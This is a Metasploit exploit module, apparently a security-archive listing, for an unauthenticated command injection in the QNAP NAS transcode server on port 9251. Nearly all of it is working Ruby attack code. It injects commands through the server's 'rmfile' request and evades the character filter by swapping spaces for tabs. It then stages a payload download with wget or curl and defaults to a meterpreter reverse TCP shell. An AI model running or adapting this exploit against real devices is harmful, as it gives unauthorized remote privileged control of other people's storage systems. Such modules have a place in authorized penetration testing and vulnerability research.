QNAP Transcode Server Command Execution

This Metasploit module exploits an unauthenticated remote command injection vulnerability in QNAP NAS devices. The transcoding server listens on port 9251 by default and is vulnerable to command injection using the 'rmfile' command. This Metasploit module was tested successfully on a QNAP TS-431 with firmware version 4.3.3.0262 (20170727).


MD5 | c7f6b8e5f963a733cc5d3c513ba79f4e

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
include Msf::Exploit::CmdStager

def initialize(info = {})
super(update_info(info,
'Name' => 'QNAP Transcode Server Command Execution',
'Description' => %q{
This module exploits an unauthenticated remote command injection
vulnerability in QNAP NAS devices. The transcoding server listens
on port 9251 by default and is vulnerable to command injection
using the 'rmfile' command.

This module was tested successfully on a QNAP TS-431 with
firmware version 4.3.3.0262 (20170727).
},
'Author' =>
[
'Zenofex', # Initial vulnerability discovery and PoC
'0x00string', # Initial vulnerability discovery and PoC
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'References' =>
[
[ 'URL', 'https://www.exploitee.rs/index.php/QNAP_TS-131' ],
[ 'URL', 'http://docs.qnap.com/nas/4.1/Home/en/index.html?transcode_management.htm' ]
],
'DisclosureDate' => 'Aug 6 2017',
'Privileged' => true,
'Arch' => ARCH_ARMLE,
'DefaultOptions' =>
{
'PAYLOAD' => 'linux/armle/meterpreter_reverse_tcp'
},
'Targets' => [['Automatic', {}]],
'CmdStagerFlavor' => %w{wget curl},
'DefaultTarget' => 0))

register_options(
[
Opt::RPORT(9251),
OptInt.new('DELAY', [true, 'How long to wait for the device to download the payload', 30])
])
deregister_options 'cmdstager::decoder'
end

def check
vprint_status 'Connecting to transcode server...'

connect
sock.put "\x01\x00\x00\x00"
res = sock.get_once

if res.blank?
vprint_status 'No reply from server'
return CheckCode::Safe
end

vprint_status "Received response: #{res}"

return CheckCode::Detected if res.to_s =~ /client's request is accepted/

CheckCode::Safe
rescue ::Rex::ConnectionError
vprint_error 'Connection failed'
return CheckCode::Unknown
ensure
disconnect
end

def execute_command(cmd, opts)
# Filtered characters: 0x20 ! $ & 0x39 , ; = [ ] ^ ` { } %
# Execute each command seperately
cmd.split(';').each do |c|
connect
vprint_status "Executing command: #{c}"

# Replace spaces with tabs
c.tr! ' ', "\t"

sock.put "\x01\x00\x00\x00/|#{c}|\x00"
res = sock.get_once

unless res.to_s =~ /client's request is accepted/
print_status 'Unexpected reply'
break
end

print_status "Sent command successfully (#{c.length} bytes)"

disconnect

if c =~ /^(curl|wget)/
print_status "Waiting for the device to download the payload (#{datastore['DELAY']} seconds)..."
Rex.sleep datastore['DELAY']
end
end
rescue ::Rex::ConnectionError
fail_with Failure::Unreachable, 'Failed to connect to the transcode server'
ensure
disconnect
end

def exploit
vprint_status 'Connecting to transcode server...'
execute_cmdstager linemax: 400
end
end

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